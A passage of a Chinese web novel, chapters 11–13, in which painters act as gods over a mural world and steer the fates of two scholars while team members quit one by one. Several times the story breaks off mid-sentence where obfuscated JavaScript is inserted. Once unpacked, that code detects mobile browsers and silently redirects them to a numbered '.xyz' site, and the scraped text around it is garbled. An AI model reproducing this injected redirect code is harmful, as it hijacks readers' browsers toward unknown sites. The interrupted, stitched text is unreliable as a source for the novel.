迟元升突然激动,猛烈地咳嗽起来:“我们平日里受的还不够吗?我们常常觉得天意弄人,会不会就是神明刻意为之的?” “一切有为法,如梦幻泡影(注1)。”汪思思难得一副认真的神色,“无论是壁画里、沙盘中,还是在外头的我们。” “师傅从小就这么教我们的,现在正好有了这个机会,让我们自己更加清醒,不要太沉迷,这不是很好吗?” “思思,你倒是令我刮目相看了。”劳青笑道。 “我没有你那么高的觉悟。”迟元升苦笑一声。 劳青趁机打起感情牌:“再坚持一会嘛,你不是一个人,我们都在呢。” “都别吵了!出事了!”孙黎喝道。 乙组三人被吓得一个激灵,目光移到主角身上时纷纷傻眼,当即手忙脚乱操作起来。 “这是怎么了?”冯文并凑过头来,随即大叫,“老头子快快快!” 只见小乙的坐骑不知为何突然发了疯,载着魂飞魄散的小乙,撞散了围观庆贺的人群,在喜气洋洋的大街上疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478724|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲。 劳青咬着牙,连五官都在使力:“在了在了别催!” 这匹马大抵是西党人是万里挑一的宝马,就为了巡街有更好的派头,因而其更方面素质极佳,对于前路突然出现的多少地坑和山包都如履平地。眼见即将冲进人来人往的市集,一团火球从天而降,砸到发狂的宝马身前。 骏马惊慌地大叫了一声,前蹄因为畏惧和求生本能骤然抬高,但后蹄却控制不住,顷刻间连人带马都翻倒在地。 冯文并和劳青同时哀嚎了一声。 小乙整个人被压在马下,直到众人将他身上的马移走,才看到他左腿膝盖下已被扭成了不可思议的角度——明眼人都意识到这位新科榜眼这腿大抵是废了。 与三张瞬间阴沉的脸先比,汪思思竟是双眼开始放光,整个人都坐直了:“这不,修行的机会来了。” 冯文并一脸难以置信,正要开口忽觉得后面射来两道寒光。 “冯文并你个蠢货快给我回来。”大姐头邱德菲又发话了。 冯文并心虚地转头,却见小甲不知何时有了自己的府邸,其时一群人正敲锣打鼓抬着红色箱子鱼贯而入。冯文并惊道:“这么快就定好了婚事?被谁相中了?我这是错过了什么?!!” “是,不定不行。老熟人了。”邱德菲面无表情道。 “你不是听懂行的,这怎么回事?” 就在刚才,精疲力尽的小甲被簇拥到一个府邸,这无疑又是西党人为这位新科探花准备的宅邸。得到住址之后,藏在各处的探子立刻行动,以画外人肉眼可见的速度将消息散播到各处,不一会,提亲队伍便从京城各个方向而来。 哪知每一队都遭到了各种形式的拦截,强制的也有,伪装成偶然的也有,最终,到达终点的只有从太尉府出发的最为隆重的提亲队伍。 “要问这是怎么回一事啊......我想想,”在邱德菲跟要剐人一样的目光中,冯文并紧张地扣着头皮,抓出了好几把头发后他终于茅塞顿开,“对了!没错就是这样!” “别废话。”邱德菲幽幽道。 “这位小姐应该在太尉府不怎么受宠,不然太尉大人也不会舍得让她在东都抛绣球招亲。而如今太尉答应把这位不受宠的女儿嫁给身为西党阵营的小甲,就是想把他拉下水,之后就算我们小甲不向他们东党投诚,这层关系一旦建立,他就必定不可能是西党的人了。” “原来是这样。”邱德菲目光终于放开了冯文并。 “党争嘛,是这么残忍的。”冯文并如遭大赦,整个人思维都活跃起来。 “对!”他使劲拍了拍大腿,“榜眼摔断了腿,探花成了自家女婿,西党这不就没人了吗?高,实在是高!” 正说时,本来有不少前来恭贺的西党人,在半道得到了消息,着急忙慌地打道回□□,以表明立场。 邱德菲和周蕴等人这才知道刚才乙组发生了什么,纷纷感叹世风日下。 此时这位新科探花郎的府邸满目喜庆的红,双重喜事齐聚,但小甲却看不出什么喜色,他沉默地坐在院子里的台阶上,衣摆下沾着花瓣,日光倾泻而下,在他身旁投下一个落寞的影子。 不知过了多久,寂静的府邸终于迎来客人,很快小甲就翻身上马跟着来人进匆匆而去。 来者正是小乙的书童。 然而,他刚到小乙的府邸前就被人给拦住,拦他的人毋庸置疑,是他在西党的“同门”。 四人沉默地看着小甲与众人对峙,人与人的事情,他们无法插手。 隔着高墙,一位医者提着药箱摇着头出了房门,在门外排队的下一位医者紧接着进了屋。 房间内,小乙躺在黄花梨木打造的高级大床上,双眼空洞地盯着窗外,不知在想些什么。 “劳青,已确认退出。”有相冷冰冰的声音传入众人耳中。 11. 第十一章 分道 “不是,你这太不厚道了吧?”汪思思斥道。 冯文并一脸不解:“你怎么丢下我们了,不是说成功了一半了吗?” “就觉得有点惨,看不下去了。迟老弟说得对。” 劳青放下工具,双手举起作出投降的姿势,面对队友的质问,和孙黎刀人一般的眼神,他面上只是带了点愧疚的笑:“证道是好事,你们年轻人加油,老头子就不陪你们玩了。” 与此同时,他身前石壁上的亮光也砰然熄灭,与普通冰冷的石板并无二致。 “有相,我这就能走吗?”劳青仰头问。 “你!”汪思思一时气急,从小被灌输的教育又让她说不来骂人的话,只得哽着,整个脸都憋红了。 “请。”话音刚落,众人身后的石墙突然发出轰隆隆的声响,继而露出一个可容一人的门洞来。 “老头子等我。”迟元升紧随其后,关石壁抛画笔一气呵成,就是站起来时费了些力。 “来来来,迟老弟,我扶着你。”劳青见状忙哼哧哼哧折返回来,搀住这位差不多是自己孙儿辈的病秧子。 “迟元升,已确认退出。”有相一字一句道。 众人沉默地盯着矫健的白发老翁扶着颤颤巍巍的黑发青年一步一步走远,直到石门封上。 “几位施主,温馨提醒,故事仍在继续,莫要停留。”有相流于表面的温馨又一次出现。 “我们这组少了两人,还怎么继续?” 汪思思问,“现在能控制的也只有风和火了。” “谁说不行了?”孙黎冷笑地替有相接了话,“没了碍事的男人反而不用束手束脚。” “姐,你对我们男人是有什么意见呢?”冯文并斟酌地问道,话刚说完他猛地意识到现下石室中竟是只剩他一个男子,随即识相地闭了嘴。 他现在也不敢有什么意见了。 “冯文并。”邱德菲阴沉地说道。 “来嘞大姐头,有什么需要我的?”冯文并赶忙抓住了这救命稻草,顺着台阶逃离了孙黎的威压。 “刚发生了啥?怎么回去了?”冯文并见了眼前场景有点懵,其时虚幻世界中已经是夜晚,小甲正从小乙的宅邸中走出,身后是乌压压一片西党的人,看上去很不友好的样子。 “刚我们让他们二人见了一面。”周蕴说道,“不欢而散。” 冯文并也终于记起了前因后果,他唉声叹气道:“也是,小乙肯定也得到消息了,现在咱们这位可是两边都不待见,哎,修行啊修行啊,这就要开始了吗?” “速度变快了。”时苑突然说道。 这时余人才注意到画和沙盘像是发条被扭紧了似的,时间竟是在不知不觉中较原来快了不少,白天黑夜跟灯光闪烁一样,里面的人影更是眼花缭乱,快得跟飘起来一样。 “客......”冯文并一时情急,不过脑就喊出一声不知什么意思的词,好在刚出口就意识到不对。他慌忙改口,“有相!这怎么回事啊?!” 有相毫无波澜的声音又从四面八方传来:“因为场景太多,所以帮你们减少了一些不必要的时间。” 汪思思翻了个白眼,无语道:“可是刚捏出来人已经到别出去了。” “速度够快即可,而且诸位都是万里挑一的大家,只需添上一两笔,定能扭转乾坤。”有相毫无起伏的语调听不出来什么情感,但明显不是在真心夸赞,“当然你们即使袖手旁观,故事也是能继续的。” 一瞬间在场人都被气笑了。 “那还让我们来干嘛?”汪思思撇撇嘴。 “让他们走出来。”有相倒是在认真回答,但没人顾得上他了。 画中日光明灭,二人步入官场,小甲和绣球姑娘成亲后,虽然与西党断了联系,但也得了不太喜欢自己的老丈人些许的庇护,到东都任职。而小乙因腿伤不便,因祸得福,成了他们这一批唯一留在京城任职的,他也自然成了西党的重点扶植对象,在官场上混得顺风顺水,就是家宅的事情有些闹心。 孙黎的画风干练中不失优雅,但渐渐地迫于形势也变得潦草起来,汪思思本就是走写意的路线,如今更是越捏越抽象。二人三天两头就给小乙的府邸添把火,这煽风点火的行径做多了,住在同一街道的邻居被烧怕了,有能耐的都搬走了。 久而久之,小乙这人不详的说法就在京城里传了开来,一开始还有不嫌弃他腿疾的人家前来提亲,后来也都不了了之。 当然汪、孙二人巴不得他立刻出家,见此倒也觉得省心。 不久之后,小乙就凭借自己和西党众人的共同努力混进了工部,并揽下了修建皇家佛寺的肥差。 反观小甲这边就不大顺了,他到东都才上任没几日,京城就传来噩耗——他老丈人突然病逝了。没了太尉大人的势,他在东都的板凳还没坐热就被调到了偏僻的南边。 举家南下之前,那位绣球小姐腹部已隆起了一个小山包,小甲万般劝说还是没能说服她留下。最终在一个狂风暴雨的夜里,在离目的地不到两座山的荒郊野外,绣球小姐生下了个哥儿就撒手人寰。 那一夜,时间好像变慢了,四人却还是没能救得了她。他们能逢山开路,能让风雨停歇,能让天放光明,但面对绣球小姐越发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485305|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵硬冰冷的躯体,也是束手无策。 天光亮起,绣球小姐的墓前,小甲抱着刚出生的婴儿孤零零地杵在那许久,也不知道在想些什么,四人沉默地看着这一幕,也在为这位小姐默哀。 “或许她本来的故事不是这样的。”邱德菲头顶着阴霾说道。 冯文并满脸失落:“我应该早点让雨停的,他们早点到城里,也就不会死了。” “这是她的因果,她只是......”时苑安慰的话刚开了个头就被邱德菲打断。 “我当然知道,她在画里就是小甲修行路上的一块垫脚石,”邱德菲终于还是扯开了遮羞布,直接说出众人心知肚明的真相。 “在抢绣球的时候,我们当时就知道她和小甲注定有关联,一切都是天命。”说着说着她好像被自己的话点燃了一样:“我想的和迟元升不一样,如果把我们代入这绣球姑娘,为了主角的成长,就必须牺牲我们这些配角,这公平吗?你们甘心吗?” ——“他一份力都没出,为什么要加他的名字?” ——“我们为什么要做他的垫脚石?这公平吗?” 周蕴蓦地一怔,刚才邱德菲说这番话的时候,她脑海中同时浮现了一个女子咆哮的声音,画面依旧模糊,但最后一句话和邱德菲的话竟然几乎完全叠在一起,就和一开始冯文并对的那句暗号一样。 “大姐头你.......”冯文并摸不着头脑。 邱德菲也意识到自己有些失态,她僵硬地咳了咳:“没,不知道怎么就激动起来......” “没事,咱们守好自己,别入戏太深就好。”时苑温和地朝邱德菲说道,周蕴坐在二人中间,只觉得她这话又好似是对自己说的。 周蕴的情绪也平复了,于是附和道:“是啊,虽然命运是设定好的,但我们给了她选择,这是她的选择。” 这座偏远南方小城的地方官不是那么容易当的,他刚上任就接连遇上了水患和地裂,百姓叫苦连天,朝廷的拨款又迟迟未到,他在百姓、同僚、朝廷、天灾之间艰难地周旋,身形日渐消瘦,年纪轻轻就生了华发。 日转星移,在小甲的努力下,南边小城的纷乱终于渐渐平息,除了偶尔有山贼土匪冒头,余下都逐渐步入正轨,小甲在当地的名声也好起来。 与此同时,京城一处在建的寺庙正被烈焰重重包裹,一名文官打扮的人被人扶着一瘸一拐地走出火海最盛处的大殿。脱困后,小乙面无表情地脱下还带着火苗的官袍,披在了身旁还未来得及请入大殿的佛像上。 紧接着,四周传来熟悉的音调:“汪思思,已确认退出。” 12. 第十二章 孤旅 “阿尼陀佛。罪过罪过。” 汪思思双手合十念了一句,随即朝众人道歉,“小乙此番行径简直是罪无可恕。抱歉孙黎姐,抱歉各位,我先离开了。” 她自小被养在贵人家中,说话识字和造像背佛经都是同时开始的,虽平日里同人一道嘻嘻哈哈看不出分别,但那根底线已经深深扎在心底,容不得半分践踏。 冯文并还在做一些无用的挽回:“别啊,不破不立,不疯魔不成活......”说话时,他斜眼瞥到了火海中的小乙和佛像当即愣住了,“啊这......” 话说小乙借了西党的东风一路高升,混入了油水最多的工部,还被塞了个肥差,动了京城富贵和东党的饼,自然被不少人视为眼中钉肉中刺。在官场中浮沉,越往高处底下累得淤泥尸骨就越多,无论他如何聪敏机灵也无可避免在其中湿了鞋,难以独善其身,成年累月中被抓住了不少把柄,眼见佛寺即将落成,就着了人家的道。 白日在朝堂上因涉嫌贪|污|受|贿被人参了一本,夜里又有人摸黑一把火点燃了即将竣工的佛寺,有人迫不及待替小乙将做贼心虚的罪名给坐实了。直到京城一角红了一片天,小乙才幡然醒悟自己只是西党推到台上的一面招摇的旗子,倒了他这一面还有下一面,事到如今他俨然成了一枚弃子。 没了迟元升水元素的加持,仅凭汪思思和孙黎一风一火,不助长火势就已经谢天谢地,更别谈浇灭这火海了。 小乙不顾余人阻碍,拖着跛着的脚走入火场,大抵是在“火”宅中浴火浴习惯了,从山门走入庭院,又从庭院绕过佛塔,跨进大雄宝殿,一路上他气定神闲,腿脚的病似乎好了大半,仿佛是来“例行巡视”的,与拿着锅碗瓢盆泼水的兵卒们的狼狈模样形成极其鲜明的对比。也因此路过急匆匆的人影没一个把他当正常人,只道是哪个被压榨得疯了的匠人还是劳工又出来祸祸了。直到他进了大殿,下人们才赶到将他从火海中死命拖了出来。 小乙出来的第一件事,就是给佛像添了件“火袈裟”,仅凭这一点,就足够朝廷判他死罪,而在汪思思这种坚定的信徒眼中,此番行径就是该打下十八层地狱的罪行。 孙黎面色虽铁青,但也仅仅是叹了口气:“算了,你走吧,我自己可以。” 汪思思离场后,小乙被逮捕入狱,罪名很快就定下了——秋后问斩。孙黎本想在狱中故技重施,点火以制造混乱给小乙创造逃生机会,但均已失败告终。石头打造的牢狱非但冰冷厚重还耐火。 不知道失败了几次后,孙黎重振旗鼓,提笔时却顿了顿,小乙从怀中取出了一物件,眼神复杂,那物件看上去是块皱巴巴的布。 “原来如此,白痴。”孙黎轻蔑地嘲笑。“爱情,不值钱的爱情。” 其他人可能没什么印象,但孙黎却一眼就看出,这是当年那剿灭山匪的女首领衣服的一角。 “孙黎,已确认退出。”有相说道。 孙黎跟阵风似的,一句话也没招呼就“飘”出了石室,众人反应过来时人已经没了。 “这姐们太凶了。”冯文并长长地松了口气,可把他憋坏了。 孙黎的气场好像专克他一样,本来他们中间隔了整整一组人,结果一个个都走了,特别是汪思思走后,即使隔着三个空座位,冯文并还是觉得浑身不自在。 “有这个闲心研究人家还不如想想接下来怎么办,”邱德菲无语。 “有相,还能继续吗?” “可以,画面不停,故事不止。” 冯文并提出疑问:“刚开始不是说了,要两个人一起走上修行之路吗?现在小乙......嗯?小乙还在?” “他当然还在,只是没有‘神’助了。”有相耐心道,“当时只是说二人体质互补,缘分很深,一起修行可事半功倍。” “什么意思?”冯文并继续求教。 有相简略地说:“一个人的修行之路,注定要负重前行。” 冯文并想了想:“就是难一点的意思?” “可以这么理解。” 冯文并整个人瘫在座位上:“要不我们也放弃得了?” “你敢?”邱德菲可没有相那么有耐心,还有问必答,直接一句话把人吼回魂。 “说着玩说着玩,我还没见过这么有意思的事情呢。”回了魂的公子哥忙正襟危坐。 然而只一刻,腰就又塌下去,他大惊道,“京城这是怎么了?打仗了?这么突然?刚刚思思孙黎他们还没碰上呢。” 适才众人一面忙着帮小甲为民做好事,一面消化有相的话,哪还有空闲去注意隔了一面半壁画的京城。 “山高路远的,京城的纷纷扰扰也扰不到咱们这。”邱德菲抽空瞥了眼战火纷飞、血流成河的京城,随即淡定地移回视线,提笔给小甲儿子放在天上的纸鸢添了一道风。 “也是。”冯文并难得羡慕起这偏僻之地来,“咱这也挺好的,天高皇帝远的,民风还淳朴,不像京城那么多勾心斗角。小甲啊,总算熬出头了。” 这厮定是忘了小甲刚到时,自己一脸绝望的表情。 正在帮小甲和百姓开垦荒山的周蕴和时苑听完,隐隐有种不祥的预感。怪不得二人这般敏感,冯文并这出口成旗的体质实在是灵得很。 事实证明二人的预感无比准确,京城的战乱刚平,就有一匹快马从皇宫出发,沿着官道疾驰,一路直奔南边这蛮荒之地。 圣旨到时小甲正带领官兵在城头修城墙,得到消息差点从城头上栽下来,缓过神来后,小甲匆忙去城郊拎起和同伴玩得正欢的儿子塞到马车里,没怎么收拾就出了城踏上返京之路。 京城的涟漪还是荡到了此处,果然身处世间谁都无法独善其身,众人只得认命。 冯文并被委以重任去京城打探消息,很快得到了令人震惊的最新情报:“龙椅上换人了,现在上面坐的青年看着有点面熟......” 披着龙袍的青年面上带着三分稚气七分威严,冯文并的视线绕着他顺着转了一圈又反过来转了一圈,而后只听得他猛拍大腿,大叫道:“是他!对对对,就是他!” “谁?”邱德菲忍无可忍。 “当年京城外逃过刺杀的少年!”冯文并兴奋之余,眼神又在议事殿内扫了一圈,居然看到了前排站着个老熟人。 “哟!小乙!大难不死,居然还升官了!” “可惜老头子思思他们太早走了,没挨到这,出去后得跟他们讲讲。” “啧啧啧,太够意思了!” 冯文并开始自说自话,脑补了一场精彩纷呈的朝堂大戏——那少年乃是皇室的一位继承人,被陷害后侥幸逃生,而后卧薪尝胆,集结军队举兵夺权。登上帝位后,这位年轻帝王既感念二人当年没有揭发他的恩情,又看中他们的才华,遂有意提拔二人为亲信,所以才派人请小甲回京。 当然这番说法纯属冯文并个人一时兴起胡编乱造,缺乏证据支持,但逻辑上似乎也扣不出什么毛病。 组里三人只在得知现今皇帝是那位少年时有点惊讶,对后来冯文并一系列“精辟无比”的推理充耳不闻。冯文并只觉得无趣,于是把视线转回到小甲身上。 小甲此时正和他差不多十岁的儿子在绣球姑娘的墓前,一人写祭文,一人烧纸钱。 “......十年生死两茫茫......自难忘......(注1)” 冯文并凑上前去看小甲笔下的祭文。 十个春秋过去了,当年哇哇啼哭的婴孩已成了活蹦乱跳的小伙子,坟头的小树已经长成顶天立地之态。此去一别,不知还能不能回来,因而无论行程有多赶,小甲都必须与绣球姑娘好好道别。 “......纵使相逢应不识......(注1)”冯文并接着念道,一边念还一边抓着为数不多的头发:“这首词怎么这么眼熟?念着也熟,谁写的来着?” 周蕴亦有同感,但也实在想不出是出自何人之手。 时苑和邱德菲正忙着维持火盆里将熄的火苗,同样的疑问在脑中一闪而过,谁也没去抓住。 *** 眨眼间小甲一行人已到了京城,此时众人才真正感受到了朝堂上翻天覆地的变化,原来权势滔天的东西两党早已分崩离析,人员也全部打乱重组,朝中再无团结起来的强大势力。如今当权的重臣除了那名幸存的护卫,还有一位——小乙。 “豁,”冯文并又开始了,“劳青迟老弟思思他们知道后一定后悔死了。” “他还是他吗?”周蕴看着站在议事殿前义正辞严侃侃而谈的小乙不确定道。 “神情好像有点不一样了,”邱德菲重新审视了一遍又换了一副和颜悦色面孔的小乙。 其时一行人刚刚下朝,这位皇帝身边的贵人正拉着几位同僚聊些家长里短,一点架子都没有。 “好像多了一点......谄媚?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494776|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “官场混久了是这样的吧,而且小乙以前不就比咱们小甲活泼一些?”冯文并只觉得正常无比。他一面无聊摆弄着金水桥下的金水,一面说,“你们看,还是这个表情......好样的小乙!我就说二人的情谊还在嘛,小乙还是那个小乙!” 正说着,小乙撇了众人迎上独身一人的小甲,围着他一顿嘻嘻哈哈嘘寒问暖,一人热情奔放,一人含蓄内敛,就像是二人第一次在京城外相遇那样,这次也是因为那少年。只不过阔别十年,一人华发早生,一人腿疾缠身,已不是当年意气风发的少年郎了。 月上高楼,小甲小乙二人时隔多年,再次来到参加科考前那段日子每日都会来的西市酒楼。 冯文并满面欣慰之色,唏嘘道:“想想上次二人这般说话谈天,还是放榜前那夜啊。” 那一晚,二人望着无边星空,茫然不知前路,但至少那是心中是怀有远大理想的。放榜那天,二人被引着往两个方向而去,兜了一圈终于又在此处重逢。现在眼里的光还在吗?恐怕只有他们自己才知道。 “怎么又吵起来了?”冯文并大惊。 刚开始酒楼里两道人影还和和气气,谈天说地,酒过三巡,小乙不知在小甲耳边说了什么,小甲脸色倏地就变了,推杯拂袖而去也就罢了,临走前还割开了段袍子。 “也太没眼力见了,这样会没朋友的。”冯文并恨铁不成钢,对着在雨巷中独自行走的小甲指指点点。 他又顺着之前的想象继续发挥:“如果不是小乙,他估计这辈子都翻不了身。” “或许捞回来只是因为皇帝......”邱德菲幽幽道。 冯文并哑然,低声嘟囔:“多个朋友肯定好过结个仇家吧,就算是表面的。他这也太过了。” 一路下来,众人对小甲的人品十分放心,他虽内向,但深明大义,性情也温和,能让他作出割袍断义这等决绝之事,一定是听到了什么违背了忠孝仁义的言语。 冯文并一副吊儿郎当的模样,实际上看得挺通透。这些虚伪表面的功夫属他懂得最多,却没见他如何知行合一,实在难得:“东西两党之争跟着上个朝廷覆没,如今新朝底下暗流涌动,只有趁各个势力没成型前先站好队,才能占得先机立于不败之地。小甲这边没有根基,如果真的跟小乙闹掰,估计又得和在前朝一样,被贬到不知哪个山旮旯里了。” “不远了。”周蕴冷静道。 雨势越来越大,行人要么匆匆归家,要么临时寻个地方避雨,漫漫长街上只有小甲一人。他撑着把遮不住风雨的油纸伞,偶有人家门口挂的灯笼未被风雨熄灭,烛光便描着他的轮廓投下阴影,在冰冷的长街上拉得很长很长。 这一幕似乎预示着小甲往后的日子,注定是一段漫长的孤旅。 众人心中不由得想起一开始说的——家破人亡,众叛亲离。 “他有我们。”时苑突然打破沉默。 冯文并是个给点阳光就灿烂的无脑乐天派,闻言福至心灵,阴霾一扫而空:“就是,不过是跟朋友闹掰而已,他还有小小甲呢。” 次日朝上,小乙带头向圣人提起,随后百官附和,于是小甲领到了回京城后的第一份差事——重修那座寺庙。 小乙就是因为揽了这个看似肥差的活儿,最后被坑惨了。如若有什么想法,至于这么明显吗?众人一时捉摸不透小乙的心思。 工事意外地顺利,小甲虽然初入京城,人生地不熟,但胜在有经验,他在南地带头亲自挖战壕修城墙,那可都是实打实的业绩,造个仅供观赏用的佛寺自是不在话下。 无人想到这个乡野的小官竟比原先修建的专业人马还更专业,大木结构、地仗配比、布瓦方式等大小工事,他都亲自过目,白日里他与匠人、劳工一道挥汗如雨,夜里他和匠人一起就着半露天的棚子挑灯修改图纸,与壁画师交流经变故事,同塑像师探讨佛像神采。不多时他就赢得了人心,这跨越了几代人的建造工程也终于迎来尾声。 此中不乏有众“神明”的帮忙,但主要在他自己。 佛寺提前竣工,龙颜大悦,而小甲却在这最后一次例行巡视中出了意外。 那日大雨,小甲送走了对工事赞不绝口的年轻帝王,想趁此机会再确认瓦面的防水效果,不料攀到一半脚下竹梯一滑,小甲与几个匠人一道从半空摔下。待众人着急忙慌将他身上的人和梯都搬走,却见他的膝盖已经弯成一个不可思议的角度。 13. 第十三章 须弥 “有相。”冯文并的声音有些紧张。 “在,施主有何吩咐?”有相一如既往地有耐心。 “这是要把之前小乙的经历一遍吗?”冯文并只觉得这念头冒出来后,越是细想就越有理,医者来了一拨又一拨,却都摇着头离开。 他听到自个儿心里咚咚咚地响,有什么鼓已经开始敲了起来。 “火患、诬陷、下狱......” “是,也不是。” 模棱两可的话被有相用惯常冰冷的语调说出,竟令人无端起了寒意。 冯文并将头缩了缩,忽听得隔着座另一头传来俩字: “不是。” 简单的两个音,却像两声定心锤一样莫名令人心安,他心里的大姐头顷刻又换了人选。 新任大姐头周蕴说完指了指城北方向。滂沱大雨中,竟有一座宅子火光冲天,更诡异的是那宅子方圆几里无一树木花草,甚至连一户门前挂着灯笼的人家都没有,是座名副其实的“凶宅”,而这座宅邸的主人正是小乙。 “豁......”冯文并忍不住叫了声,慌乱的“神明”几乎是本能地挥动手中工具,在石壁中凝成一道天水。 然而“神明”笔下的天水却浇不灭凡间的火,或者说,“神明”的天水只存在于石壁中,并未真正降到“人间”。 他改变不了,这是小乙的命数。 冯文并懊恼道:“以前还可以的。” 小甲小乙初次相遇的时候,两组人试着过互相影响对方的主角,那一道入京的路不到一个时辰,二人就经历了一年四季都不能凑齐的阴晴雨雪,还要时时提防脚下猝不及防的地裂山崩,也就这俩货没见过世面,还以为是京城的神通天堑。 后来二人各走各的道,意外接踵而至众人应接不暇,再到后来乙组四人相继离开,几人也再没试过。 这时,沉默许久的时苑突然道:“会不会一开始我们就想错了。” “什么?”冯文并紧张起来。 “我们第一次改变是什么时候?”时苑反问。 冯文并想都没想:“运河上啊,当时起了风暴,那只大虾......哦不,霸下搞的,我都快吓死了,要不是姐你的那一团火,咱小甲估计就要折在那了。” “那小乙呢?”时苑说着话,眼睛却没有离开过沙盘。 周蕴双眸蓦地一亮。 “是,你是对的。”邱德菲也恍然大悟。 紧接着,三面壁画与沙盘倏地亮起,勾边的墨线和斑斓的色彩渐渐搅入金色的光芒,沙盘上所有的凹凸不平,管它是山峦盆地还是宫殿楼阁全部在刺眼的金光中夷为平地......而人在其中何其渺小,早就被吞没得一干二净。 “恭喜诸位,进......”有相的声音从四面八方传来,语速竟好似比之前快了些许。 周蕴无暇去管听到了什么,此时她的所有感官都被眼前的壁画,不,是发光的墙壁遮蔽了,这耀眼的金光壁好似不在身外,更像是伫立在她脑中的一块巨大光幕,挡住了她与外界联系的五感。 只见光幕中的光影流转,一段一段画面在强光下走马灯一样闪着,速度极快转瞬即逝,周蕴伸出意念的“手”想捕捉那些片段,但每每收拢“手掌”,残片就全都从“指间”漏出,试了几次,终于有一段被她“捞”了起来: 那场景竟然和如今有点像,有几人坐在一个昏暗的房内,几人面前都有个发光的石壁。 ——“敢不敢来比比?”面目模糊的男子在一个石壁前坐下。 ——身旁身形模糊的女子抱着手语气阴沉:“比什么?” 这都什么? 周蕴只觉得无语,好不容易才捕捉到一点东西,竟是这些比来比去的无聊戏码,有这闲心,躺平不好吗? ——“就我们两组不小心选的一样的这个展览馆案例,画一套完整的图,平立剖,我们两个用建模软件,你们用绘图软件,看谁画得快。”男子的头昂起一个不可思议的弧度,一副志在必得的样子。 周蕴听得连连摇头,忽的有点后悔留下来探寻“真相”,一开始就不应该来......哦不,来了至少现在还捞了笔酬金,大半辈子是不用愁了,这倒是不后悔,但怎么就哪根筋搭错了要继续这第二轮呢?费尽心思结果都看了个什么? 一通发泄之后,周蕴这才猛地想起刚好像听到了一些奇怪的词汇,“展览馆”、“软件”、“建模”......这都是些什么啊?!如此耳熟,甚至她初听时无端能其中理解意思,但如今细想又什么都不剩了。 ——“比就比。”那女子冷笑一声,看不清楚面容,但却能感受到她的目光锁定了自己。 周蕴愣住。 ——“我们周蕴可是‘神笔’,高中时候自学绘图软件,披着个马甲混进职业画图比赛还赢了第一,你们行吗?” 嘭—— 周蕴只觉得脑子里炸出了一团烟花...... 另一头,画面却没片刻停歇。 ——“巧了,我们这位也是。”男子指了指旁边的女子。 接下来发生了什么周蕴不得而知,因为被“漏”走了。 续上的片段依旧在同一个地方,但气氛却是一片祥和。 ——“巧了不是,居然分秒合起来一样。”男子语气听起来十分兴奋。 ——“切。”女子嗤了一声,但没反对。 ——“要不咱们四人以后就一起组队得了,强强联手,吃穿不愁。”男子手舞足蹈起来。 这么草率就化敌为友了? 适才听得自己的姓名一惊之后,周蕴很快调整过来,只道自己梦里有自己参与不是正常吗,之前因为都是模糊的,这次清晰了一些而已,有什么大惊小怪...... “等——等——”不知是谁大惊小怪地喊道。 周蕴疑惑这次怎么没有画面了,声音还很熟悉,失了那种听完就忘的朦胧美,而且格外真实,就跟真的用“耳朵”听到一样,正想着,耳朵里就真的灌进来了一句话: “有相等等!我还没想清楚!” 封闭的五感因为听觉这道闸门松动,紧接着山峦蹦催,那块切断所有感官的光幕碎成了渣,周蕴从梦里被重新拽回现实,眼前依旧是那三面闪着金光的壁画,下方是一方巨大的沙盘,自己则身处在类似控制台的.....嗯,控制台? 周蕴茫然地望向声音来处,时苑和邱德菲也是一样的动作。 “我不能再像上轮一样稀里糊涂就过了!”冯文并挺着胸脯大无畏地说道。 三人:“......” 这人是不是有病?!! 却见活壁画斟酌着闪了几下,最后黯淡下去,画面重新浮现,只不过不动了。 有相安静了片刻,而后很有涵养地说道:“请。” 话音刚落,画面重新流动起来。 “冯文并!你个白痴!”邱德菲破口大骂,要不是石板不能移动,她恨不得杀过去一脚踹了这猪队友。 难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周蕴已经没指望冯文并能凭自己悟出点什么了,反正都领到家门口,也不差再领这一步:“你有没有发现,其实我们的出现,不是为了某个目的强加给他什么的,这样反而会适得其反。” “换句话说,如果我们不能设身处地为这个角色好,怎么能带他走出来?” 题目一开始就是让他们“走”出壁画,走出既定的命运,而走上修行之路只是他们根据第一轮的解题思路依法炮制出来的“解法”。 又被有相摆了一道。 “我懂了!所以本来就不是要我们把八苦强加在角色身上,强迫他们走上修行之路的,遭遇劫匪、摔断腿、火灾、爱情不顺这些坎坷是命带的,我们改不了,一改也只能适得其反。” 扶不起的冯文并总算艰难地爬起来了:“但我们可以选择帮他。” 